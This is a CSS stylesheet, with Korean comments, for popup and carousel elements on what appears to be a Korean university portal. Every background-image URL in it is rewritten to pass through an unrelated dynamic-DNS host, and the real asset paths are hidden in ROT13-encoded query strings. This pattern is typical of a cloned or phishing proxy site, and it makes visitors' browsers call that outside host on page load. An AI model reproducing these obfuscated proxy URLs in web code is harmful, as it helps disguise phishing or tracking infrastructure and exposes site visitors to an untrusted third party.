@charset "utf-8";

.poplistWrap{width:294px; padding:2px; border:1px solid #c5c5c5; position:absolute; left:0; top:0; /* 위치값 */}
.poplistWrap .inner{ position:relative; width:100%}
.poplistWrap .inner > h1{ background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2SgrzcQvfc%2Spbzzba%2Sgvg_vpba.cat') no-repeat 14px 7px #4a77d3; padding-left:48px; height:41px; line-height:41px; overflow:hidden; color:#fff; font-family:'NanumBold'; font-size:17px;}
.poplistWrap .inner .btnClose{ position:absolute; right:0; top:0; font-size:0; line-height:0; text-indent:-9999em; width:41px; height:41px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2SgrzcQvfc%2Spbzzba%2SogaPybfr.cat) no-repeat}

.poplistWrap .popupList{height:301px; overflow:hidden; overflow-y:auto}
.poplistWrap .popupList ul{ font-family:'Nanum'; font-size:13px; line-height:25px; padding:3% 5% 4%}
.poplistWrap .popupList ul li { line-height:20px; margin:4% 0}
.poplistWrap .popupList ul li a{ display:block; color:#666; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2SgrzcQvfc%2Spbzzba%2Svpba_qbg.tvs) no-repeat 0 9px; padding-left:10px}
.poplistWrap .popupList ul li a:hover{ color:#4a77d3}

/* 상단바로가기 190603 */
.btn_top001 { position:fixed; right:50px; bottom:50px; z-index:100} 

/*레이어팝업 추가 231107*/
.lypop {position:fixed; left:0; top:0; bottom:0; right:0; width:100%; height:100%; opacity:0; -webkit-transition:all .5s ease; transition:all .5s ease; z-index: -1; background:rgba(0, 0, 0, 0.85); display:none; }
.lypop .inner {position: absolute; width: 100%; top: 50%; left: 50%; transform: translate(-50%, -50%);}
.lypop .pop_wrap {width: 100%;max-width: 1600px;height: 534px;margin:auto;position: relative;}/*240710*/
.lypop .pop_wrap .title {font-size: 35px; color: #fff; margin-bottom: 45px; text-align: center;}
.lypop .pop_wrap .title em {color: #fff799;}
.lypop .pop_wrap .popuplist_wrap .popuplist {position: relative;width: 100%;height: 380px;overflow: hidden;}/*240710*/
.lypop .pop_wrap .popuplist_wrap .popuplist li {display: inline-block;width: 380px;max-width: 380px;margin: 0 auto;} /*240723*/
.lypop .pop_wrap .popuplist_wrap .popuplist li + li {margin-left: 25px;}
.lypop .pop_wrap .popuplist_wrap .popuplist li .img {position: relative;width: 380px;height: 380px;background-color: #f1f5f7;overflow: hidden;}/*240710*/
.lypop .pop_wrap .popuplist_wrap .popuplist li .img img {position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); height: 100%;}
.lypop .pop_wrap .popuplist_wrap .control {position: relative; width: 100%; margin: auto;}
.lypop .pop_wrap .popuplist_wrap .control a {position: absolute; display: block; color: transparent; top: -140px;}
.lypop .pop_wrap .popuplist_wrap .control a.prev {left: -40px;  top: -200px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Soga_yvax_ceri.cat') no-repeat center;}/*240710*/
.lypop .pop_wrap .popuplist_wrap .control a.next {right: -40px; top: -200px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Soga_yvax_arkg.cat') no-repeat center;}/*240710*/
.lypop .pop_wrap .popBtn {width: 100%; text-align: center; margin-top: 30px;}
.lypop .pop_wrap .popBtn a {display: inline-block; color: #fff; background-color: #3b4960; padding: 15px 50px; border-radius: 50px;}
.lypop .pop_wrap .popBtn a + a {margin-left: 20px;}
.lypop .pop_wrap .popBtn a:hover {background-color: #2f4f83;}
.laypop_btn a {position: relative; display: block;}
.laypop_btn.new a::before {content: ""; position: absolute; background-color: #cf3720; width: 6px; height: 6px; border-radius: 3px; top: 15px; right: 0;}
.lypop.active{opacity: 1; visibility: visible; z-index: 999;}
.lypop .pop_wrap .popuplist_wrap #pager {position: absolute; top: 50px; left: calc(50% - 33.5px); color: #fff; border: 1px solid #fff; padding: 5px 20px; border-radius: 20px;}
.lypop .pop_wrap .popuplist_wrap #pager strong {color: #fff799;}
@media (max-width:1019px) {

	/* 상단바로가기 190603 */
	.btn_top001 {right:2.5%; bottom:20px;} 
	.lypop .pop_wrap .popuplist_wrap .popuplist li .img {position: relative;width: 380px;height: 280px;background-color: #f1f5f7;overflow: hidden;/* left:200px; */}


}

@media screen and (max-width:1200px) {	
	/*레이어팝업 추가 231107*/

	.lypop .pop_wrap .popuplist_wrap .popuplist {width: 400px; margin: auto; text-align: center; justify-content:flex-start !important;}
	.lypop .pop_wrap .popuplist_wrap .popuplist li {width: 380px;}
	.lypop .pop_wrap .popuplist_wrap .popuplist li .img {position: relative;width: 380px;height: 280px;background-color: #f1f5f7;overflow: hidden;/* left:200px; */}
	.lypop .pop_wrap .popuplist_wrap .control {width: 400px;}
	.lypop .pop_wrap .popuplist_wrap .control a.prev {left: -20px;}
	.lypop .pop_wrap .popuplist_wrap .control a.next {right: -20px;}
}

@media screen and (max-width:480px) {
	/*레이어팝업 추가 231107*/
	.lypop .pop_wrap .title {font-size: 26px;}
	.lypop .pop_wrap .popuplist_wrap .popuplist {height: 200px; width: 250px;margin: auto; text-align: center;}
	.lypop .pop_wrap .popuplist_wrap .popuplist li {width: 250px;}
	.lypop .pop_wrap .popuplist_wrap .popuplist li p.img {height: 200px;/* left:136px; */}
	.lypop .pop_wrap .popuplist_wrap .popuplist li .img {position: relative; width: 250; height: 280px; background-color: #f1f5f7; overflow: hidden;}
	.lypop .pop_wrap .popuplist_wrap .popuplist li .img img {position: absolute; top: 50%; left: 33%; transform: translate(-50%, -50%); height: 100%;}
	.lypop .pop_wrap .popuplist_wrap .control {width: 270px;}
	.lypop .pop_wrap .popuplist_wrap .control a{top: -110px;}
	.lypop .pop_wrap .popBtn a + a {margin-top: 5px; margin-left: 0;}
	.lypop .pop_wrap .popBtn a {width: 150px;}
	.lypop .pop_wrap .popuplist_wrap .control a.prev {left: -25px; top:-100px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Soga_yvax_ceri.cat') no-repeat center;}/*240710*/
	.lypop .pop_wrap .popuplist_wrap .control a.next {right: -25px; top:-100px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Soga_yvax_arkg.cat') no-repeat center;}/*240710*/
	.lypop .pop_wrap .popuplist_wrap #pager {top: 40px;}
}